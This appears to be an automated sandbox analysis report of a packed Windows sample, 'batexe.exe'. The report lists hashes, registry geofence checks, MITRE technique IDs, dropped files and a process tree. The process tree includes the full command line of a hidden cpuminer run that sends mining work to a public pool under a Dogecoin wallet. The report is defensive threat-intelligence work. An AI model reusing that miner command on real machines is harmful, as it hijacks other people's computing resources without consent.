73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
309s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 23:45

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2212	b2e.exe
2008	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2008	cpuminer-sse2.exe
2008	cpuminer-sse2.exe
2008	cpuminer-sse2.exe
2008	cpuminer-sse2.exe
2008	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3884-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3884 wrote to memory of 2212	3884	batexe.exe	84
PID 3884 wrote to memory of 2212	3884	batexe.exe	84
PID 3884 wrote to memory of 2212	3884	batexe.exe	84
PID 2212 wrote to memory of 864	2212	b2e.exe	85
PID 2212 wrote to memory of 864	2212	b2e.exe	85
PID 2212 wrote to memory of 864	2212	b2e.exe	85
PID 864 wrote to memory of 2008	864	cmd.exe	88
PID 864 wrote to memory of 2008	864	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3884
- C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9153.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:864
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe

Filesize
1.1MB

MD5
c8ddb9a1b99b955d28ce987616dc783a

SHA1
6a50a41aac042de84cbe5fe9cfa8ef171c1a15ba

SHA256
d42d045c7eaec84a0576fa2d1e67566cd65686605e6f66217c2da6ec9faa060a

SHA512
8804aa717bb5d9a88543175afd4ed3363ae6d1ff9846379f9bbfb7ff1b49cf0031fd6b1cbb0b1491a94d1158663021c8bf56c47050f3192b62a0c5bb5499d397

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe

Filesize
2.3MB

MD5
ed8bca655a89883ae119b7d7898e32d4

SHA1
efc284d72d3b94a897e8aec7382f3d638d8826a4

SHA256
5870ddcde3fc6ad70c8eba186373bf2706d7fa035bcb36bf1eac7e6ca779b303

SHA512
314912f1e4942342974d1ec8eec5b483b9063eaffc4c09556dd18c6b881aac54590f291db61aa465c1235ce76de54aab31ff096bb23712f137c4d359824697db

Download Submit
C:\Users\Admin\AppData\Local\Temp\8A1F.tmp\b2e.exe

Filesize
2.9MB

MD5
7997f825e718c01ef7c4f3580cebff6e

SHA1
68d354856fff955a88e7b54cfafe6f7a691609f0

SHA256
583b10d21fe9e70c3d72694b191f9192eb9f3748b5bf4c731e122bd908915bbb

SHA512
e8713dc30025d687c03846a05b57f75f426d5ca1b233dd5824191f9b02821db77138199e168c030120fea7d25bf03db73e48bf25918ce53563c82cc31ff71f58

Download Submit
C:\Users\Admin\AppData\Local\Temp\9153.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
740c8fd1d461fa0105fc1ace9d58b5fd

SHA1
adbd1c9128af00a3d07f0a1addc57abd1527ad84

SHA256
00a2c12bab1086c79c3b55ebf562361b453626fb914b0acc57857aa5f96eced3

SHA512
7fcf9ac02d6254463de234b59c345364c99c8507439407e950af914f10dd5dd0eb20557b622a22e7082c4fdadc2fe31a8895b37f34973d8d396f23c228b9f1eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
7d96ea4fd9ba659e772bde7c8f0b69e5

SHA1
a7301ae44d28a7fff08d6d2a21c2bca0cc45a1bc

SHA256
687da35a52ffa7c18faf335a2cfab3adc89bd314c1e3dd646181b4628c6bf615

SHA512
46a5e8a2c2ff19dff4701724b2b684525d4f76cfce305f6fd40ff300517cbeaecdf3000df170200c1a5978dad29e1524c907e7f53f583417b844823bcb4d9bf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
b65a329f5355c799ced4ac3705dba1a4

SHA1
9ba10ead29f478146f9c3f32fdb365e764a4ad05

SHA256
e7b2b1443113835d709a18fceeb859c79bfbe070411efa1b700ccd8240c7d964

SHA512
294f9c00c2726791c03dd179e9b7166f7dc646cc9458785c0e8b476ec865093bbe405689ec30bd0d3ea72ce5f7771fd70158e540c378237efedbc6fee787b5bc

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
a4b12ca34b5c3d1e0f95341d3c590fad

SHA1
c28601b6d0c957453fca2ca45b5822425498566b

SHA256
33b7a61575d0cdcd81c3749314f81eb261533f77fe3e712e09c1d1984fb48169

SHA512
670f805cc6f192eae0145d903ebee7bb53830e31b1077aed965d12c1090eb0c53c8a22327273e9bea0915a87224c467271ad740d8209bf115436265e6d7cdc1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
72b5f29db774c56c4fc7831c06900ad9

SHA1
aad228775c30956b30e6c340dab19dd5dedfa469

SHA256
f37af1ef0cad2dcc361b38505039b98531649fb0632a5576c0c86c578e4c9641

SHA512
3dd2916a9c84fe6f30ad1c84c98f6f22e75bc67d8dc20d2dcd92435ff2f049f08e8831552698f06f0148c4bccdb5730e1e385c8d40a2b6a7920f207d5abab6e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2008-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2008-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-45-0x0000000070B60000-0x0000000070BF8000-memory.dmp

Filesize
608KB

Download
memory/2008-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2008-47-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/2008-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2008-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2212-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2212-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3884-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download